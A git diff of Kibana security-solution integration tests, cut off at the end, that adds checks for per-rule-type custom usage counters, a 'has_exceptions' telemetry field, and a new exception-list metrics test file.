legacy_investigation_fields: 2, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 0, @@ -293,6 +360,42 @@ export default ({ getService }: FtrProviderContext) => { }); }); }); + + it('should show "has_exceptions" greater than 1 when rule has attached exceptions', async () => { + const rule = await createRule(supertest, log, getCustomQueryRuleParams()); + // Add an exception to the rule + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${rule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [getRuleExceptionItemMock()], + }) + .expect(200); + + await retry.try(async () => { + const stats = await getStats(supertest, log); + const expected: RulesTypeUsage = { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage, + query: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query, + disabled: 1, + has_exceptions: 1, + }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + disabled: 1, + has_exceptions: 1, + }, + custom_total: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, + disabled: 1, + has_exceptions: 1, + }, + }; + expect(stats.detection_rules.detection_rule_usage).to.eql(expected); + }); + }); }); describe('"eql" rule type', () => { @@ -311,6 +414,14 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_disabled: 0, legacy_notifications_enabled: 0, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + disabled: 1, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -343,6 +454,16 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -373,6 +494,11 @@ export default ({ getService }: FtrProviderContext) => { notifications_disabled: 1, disabled: 1, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + notifications_disabled: 1, + disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, notifications_disabled: 1, @@ -401,6 +527,12 @@ export default ({ getService }: FtrProviderContext) => { alerts: 4, notifications_enabled: 1, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -427,6 +559,11 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -455,6 +592,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -465,6 +608,46 @@ export default ({ getService }: FtrProviderContext) => { expect(stats.detection_rules.detection_rule_usage).to.eql(expected); }); }); + + it('should show "has_exceptions" greater than 1 when rule has attached exceptions', async () => { + const rule = await createRule( + supertest, + log, + getEqlRuleForAlertTesting(['non-existent-index'], 'rule-1', false) + ); + // Add an exception to the rule + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${rule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [getRuleExceptionItemMock()], + }) + .expect(200); + + await retry.try(async () => { + const stats = await getStats(supertest, log); + const expected: RulesTypeUsage = { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage, + eql: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql, + disabled: 1, + has_exceptions: 1, + }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + disabled: 1, + has_exceptions: 1, + }, + custom_total: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, + disabled: 1, + has_exceptions: 1, + }, + }; + expect(stats.detection_rules.detection_rule_usage).to.eql(expected); + }); + }); }); describe('"threshold" rule type', () => { @@ -490,6 +673,15 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + disabled: 1, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -529,6 +721,16 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -565,6 +767,11 @@ export default ({ getService }: FtrProviderContext) => { notifications_disabled: 1, disabled: 1, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + notifications_disabled: 1, + disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, notifications_disabled: 1, @@ -599,6 +806,12 @@ export default ({ getService }: FtrProviderContext) => { alerts: 4, notifications_enabled: 1, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -631,6 +844,11 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -665,6 +883,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -675,6 +899,46 @@ export default ({ getService }: FtrProviderContext) => { expect(stats.detection_rules.detection_rule_usage).to.eql(expected); }); }); + + it('should show "has_exceptions" greater than 1 when rule has attached exceptions', async () => { + const rule = await createRule( + supertest, + log, + getThresholdRuleForAlertTesting(['non-existent-index']) + ); + // Add an exception to the rule + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${rule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [getRuleExceptionItemMock()], + }) + .expect(200); + + await retry.try(async () => { + const stats = await getStats(supertest, log); + const expected: RulesTypeUsage = { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage, + threshold: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold, + enabled: 1, + has_exceptions: 1, + }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + enabled: 1, + has_exceptions: 1, + }, + custom_total: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, + enabled: 1, + has_exceptions: 1, + }, + }; + expect(stats.detection_rules.detection_rule_usage).to.eql(expected); + }); + }); }); // Note: We don't actually find signals with these tests as we don't have a good way of signal finding with ML rules. @@ -695,6 +959,16 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + disabled: 1, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -725,6 +999,16 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + enabled: 1, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -754,6 +1038,12 @@ export default ({ getService }: FtrProviderContext) => { notifications_disabled: 1, disabled: 1, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + notifications_disabled: 1, + disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, notifications_disabled: 1, @@ -779,6 +1069,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, notifications_enabled: 1, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + enabled: 1, + notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -804,6 +1100,12 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -829,6 +1131,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -838,6 +1146,43 @@ export default ({ getService }: FtrProviderContext) => { expect(stats.detection_rules.detection_rule_usage).to.eql(expected); }); }); + + it('should show "has_exceptions" greater than 1 when rule has attached exceptions', async () => { + const rule = await createRule(supertest, log, getSimpleMlRule('rule-1', false)); + // Add an exception to the rule + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${rule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [getRuleExceptionItemMock()], + }) + .expect(200); + + await retry.try(async () => { + const stats = await getStats(supertest, log); + const expected: RulesTypeUsage = { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage, + machine_learning: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.machine_learning, + disabled: 1, + has_exceptions: 1, + }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + disabled: 1, + has_exceptions: 1, + }, + custom_total: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, + disabled: 1, + has_exceptions: 1, + }, + }; + expect(stats.detection_rules.detection_rule_usage).to.eql(expected); + }); + }); }); describe('"indicator_match/threat_match" rule type', () => { @@ -857,6 +1202,16 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + disabled: 1, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -905,6 +1260,17 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -935,6 +1301,12 @@ export default ({ getService }: FtrProviderContext) => { notifications_disabled: 1, disabled: 1, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + notifications_disabled: 1, + disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, notifications_disabled: 1, @@ -978,6 +1350,13 @@ export default ({ getService }: FtrProviderContext) => { alerts: 4, notifications_enabled: 1, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -1004,6 +1383,12 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -1047,6 +1432,13 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -1057,6 +1449,43 @@ export default ({ getService }: FtrProviderContext) => { expect(stats.detection_rules.detection_rule_usage).to.eql(expected); }); }); + + it('should show "has_exceptions" greater than 1 when rule has attached exceptions', async () => { + const rule = await createRule(supertest, log, getSimpleThreatMatch('rule-1', false)); + // Add an exception to the rule + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${rule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [getRuleExceptionItemMock()], + }) + .expect(200); + + await retry.try(async () => { + const stats = await getStats(supertest, log); + const expected: RulesTypeUsage = { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage, + threat_match: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threat_match, + disabled: 1, + has_exceptions: 1, + }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + disabled: 1, + has_exceptions: 1, + }, + custom_total: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, + disabled: 1, + has_exceptions: 1, + }, + }; + expect(stats.detection_rules.detection_rule_usage).to.eql(expected); + }); + }); }); describe('"pre-packaged"/"immutable" rules', () => { @@ -1098,6 +1527,7 @@ export default ({ getService }: FtrProviderContext) => { suppresses_missing_fields: 0, does_not_suppress_missing_fields: 0, }, + has_exceptions: 0, response_actions: { enabled: 0, disabled: 0, @@ -1141,6 +1571,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: true, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -1186,6 +1617,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -1246,6 +1678,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -1306,6 +1739,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -1369,6 +1803,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -1390,6 +1825,28 @@ export default ({ getService }: FtrProviderContext) => { ); }); }); + + it('should show "has_exceptions" greater than 1 when rule has attached exceptions', async () => { + await installMockPrebuiltRules(supertest, es); + const immutableRule = await fetchRule(supertest, { ruleId: ELASTIC_SECURITY_RULE_ID }); + + // Add an exception to the rule + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${immutableRule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [getRuleExceptionItemMock()], + }) + .expect(200); + + await retry.try(async () => { + const stats = await getStats(supertest, log); + expect( + stats.detection_rules.detection_rule_usage.elastic_total.has_exceptions + ).to.be.greaterThan(0); + }); + }); }); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules_legacy_action.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules_legacy_action.ts index b54847d0c4b47..20c83d08103f4 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules_legacy_action.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules_legacy_action.ts @@ -88,6 +88,12 @@ export default ({ getService }: FtrProviderContext) => { alerts: 4, notifications_enabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query, + enabled: 1, + alerts: 4, + notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -115,6 +121,11 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -143,6 +154,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -171,6 +188,11 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -199,6 +221,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + eql_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.eql_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -233,6 +261,11 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -267,6 +300,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + threshold_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.threshold_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -296,6 +335,12 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -321,6 +366,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + machine_learning_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .machine_learning_custom, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -348,6 +399,12 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -391,6 +448,13 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + threat_match_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage + .threat_match_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -442,6 +506,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -505,6 +570,7 @@ export default ({ getService }: FtrProviderContext) => { has_alert_suppression_per_time_period: false, has_alert_suppression_missing_fields_strategy_do_not_suppress: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/exceptions_metrics.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/exceptions_metrics.ts new file mode 100644 index 0000000000000..482695c815be5 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/exceptions_metrics.ts @@ -0,0 +1,265 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from '@kbn/expect'; + +import { ENDPOINT_LIST_URL } from '@kbn/securitysolution-list-constants'; +import { EXCEPTION_LIST_ITEM_URL, EXCEPTION_LIST_URL } from '@kbn/securitysolution-list-constants'; +import { getCreateExceptionListDetectionSchemaMock } from '@kbn/lists-plugin/common/schemas/request/create_exception_list_schema.mock'; +import { getCreateExceptionListItemMinimalSchemaMock } from '@kbn/lists-plugin/common/schemas/request/create_exception_list_item_schema.mock'; +import { ExceptionMetricsSchema } from '@kbn/security-solution-plugin/server/usage/exceptions/types'; +import { DETECTION_ENGINE_RULES_URL } from '@kbn/security-solution-plugin/common/constants'; +import { deleteAllEventLogExecutionEvents } from '../../../utils'; +import { createRule, deleteAllRules } from '../../../../../../common/utils/security_solution'; +import { deleteAllExceptions } from '../../../../lists_and_exception_lists/utils'; +import { getCustomQueryRuleParams } from '../../../utils'; +import { FtrProviderContext } from '../../../../../ftr_provider_context'; +import { getExceptionsStats } from '../../../utils/get_exception_metrics_stats'; + +const matchEntry = () => ({ + field: 'host.name', + operator: 'included', + type: 'match', + value: 'some value', +}); + +const matchAnyEntry = () => ({ + field: 'host.name', + operator: 'excluded', + type: 'match_any', + value: ['foo', 'bar'], +}); + +const existsEntry = () => ({ + field: 'host.name', + operator: 'included', + type: 'exists', +}); + +const wildcardEntry = () => ({ + field: 'host.name', + operator: 'included', + type: 'wildcard', + value: 'some*value', +}); + +const valueListEntry = () => ({ + field: 'host.name', + operator: 'included', + type: 'list', + list: { + id: 'value-list-id', + type: 'keyword', + }, +}); + +export default ({ getService }: FtrProviderContext) => { + const supertest = getService('supertest'); + const esArchiver = getService('esArchiver'); + const log = getService('log'); + const es = getService('es'); + + describe('@ess @serverless Exceptions telemetry', () => { + before(async () => { + // Just in case other tests do not clean up the event logs, let us clear them now and here only once. + await deleteAllEventLogExecutionEvents(es, log); + await esArchiver.load('x-pack/test/functional/es_archives/security_solution/telemetry'); + }); + + after(async () => { + await esArchiver.unload('x-pack/test/functional/es_archives/security_solution/telemetry'); + }); + + beforeEach(async () => { + await deleteAllExceptions(supertest, log); + await deleteAllRules(supertest, log); + await deleteAllEventLogExecutionEvents(es, log); + }); + + afterEach(async () => { + await deleteAllExceptions(supertest, log); + await deleteAllRules(supertest, log); + await deleteAllEventLogExecutionEvents(es, log); + }); + + it('should display item and item entry counts', async () => { + // Create exception lists + await supertest + .post(EXCEPTION_LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateExceptionListDetectionSchemaMock(), list_id: 'detections-list-1' }) + .expect(200); + + // Add some items with different exception item types + await supertest + .post(EXCEPTION_LIST_ITEM_URL) + .set('kbn-xsrf', 'true') + .send({ + ...getCreateExceptionListItemMinimalSchemaMock(), + item_id: 'item-1', + list_id: 'detections-list-1', + entries: [matchEntry(), matchAnyEntry(), existsEntry(), wildcardEntry()], + }) + .expect(200); + + await supertest + .post(EXCEPTION_LIST_ITEM_URL) + .set('kbn-xsrf', 'true') + .send({ + ...getCreateExceptionListItemMinimalSchemaMock(), + item_id: 'item-2', + list_id: 'detections-list-1', + entries: [valueListEntry()], + }) + .expect(200); + + await supertest + .post(EXCEPTION_LIST_ITEM_URL) + .set('kbn-xsrf', 'true') + .send({ + ...getCreateExceptionListItemMinimalSchemaMock(), + item_id: 'item-3', + list_id: 'detections-list-1', + entries: [valueListEntry()], + }) + .expect(200); + + // One item has comments + await supertest + .post(EXCEPTION_LIST_ITEM_URL) + .set('kbn-xsrf', 'true') + .send({ + ...getCreateExceptionListItemMinimalSchemaMock(), + list_id: 'detections-list-1', + entries: [matchEntry(), matchAnyEntry(), existsEntry(), wildcardEntry()], + comments: [{ comment: 'Comment by me' }], + item_id: 'item-4', + }) + .expect(200); + + const stats = await getExceptionsStats(supertest, log); + const expected: ExceptionMetricsSchema = { + items_overview: { + total: 4, + has_expire_time: 0, + are_expired: 0, + has_comments: 1, + entries: { + exists: 2, + list: 2, + match: 2, + match_any: 2, + nested: 0, + wildcard: 2, + }, + }, + lists_overview: { + endpoint: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + rule_default: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + detection: { + lists: 1, + max_items_per_list: 4, + median_items_per_list: 4, + min_items_per_list: 4, + total_items: 4, + }, + }, + }; + expect(stats).to.eql(expected); + }); + + it('should display list counts', async () => { + // Create "detection" exception lists + await supertest + .post(EXCEPTION_LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateExceptionListDetectionSchemaMock(), list_id: 'detections-list-1' }) + .expect(200); + + await supertest + .post(EXCEPTION_LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateExceptionListDetectionSchemaMock(), list_id: 'detections-list-2' }) + .expect(200); + + // Create "rule default" exception lists + const rule = await createRule(supertest, log, getCustomQueryRuleParams()); + await supertest + .post(`${DETECTION_ENGINE_RULES_URL}/${rule.id}/exceptions`) + .set('kbn-xsrf', 'true') + .set('elastic-api-version', '2023-10-31') + .send({ + items: [ + { + description: 'My item description', + entries: [matchEntry()], + name: 'My item name', + type: 'simple', + }, + ], + }) + .expect(200); + + // Create "endpoint" exception lists + await supertest.post(ENDPOINT_LIST_URL).set('kbn-xsrf', 'true').send().expect(200); + + const stats = await getExceptionsStats(supertest, log); + const expected: ExceptionMetricsSchema = { + items_overview: { + total: 1, + has_expire_time: 0, + are_expired: 0, + has_comments: 0, + entries: { + exists: 0, + list: 0, + match: 1, + match_any: 0, + nested: 0, + wildcard: 0, + }, + }, + lists_overview: { + endpoint: { + lists: 1, + total_items: 0, + max_items_per_list: 0, + 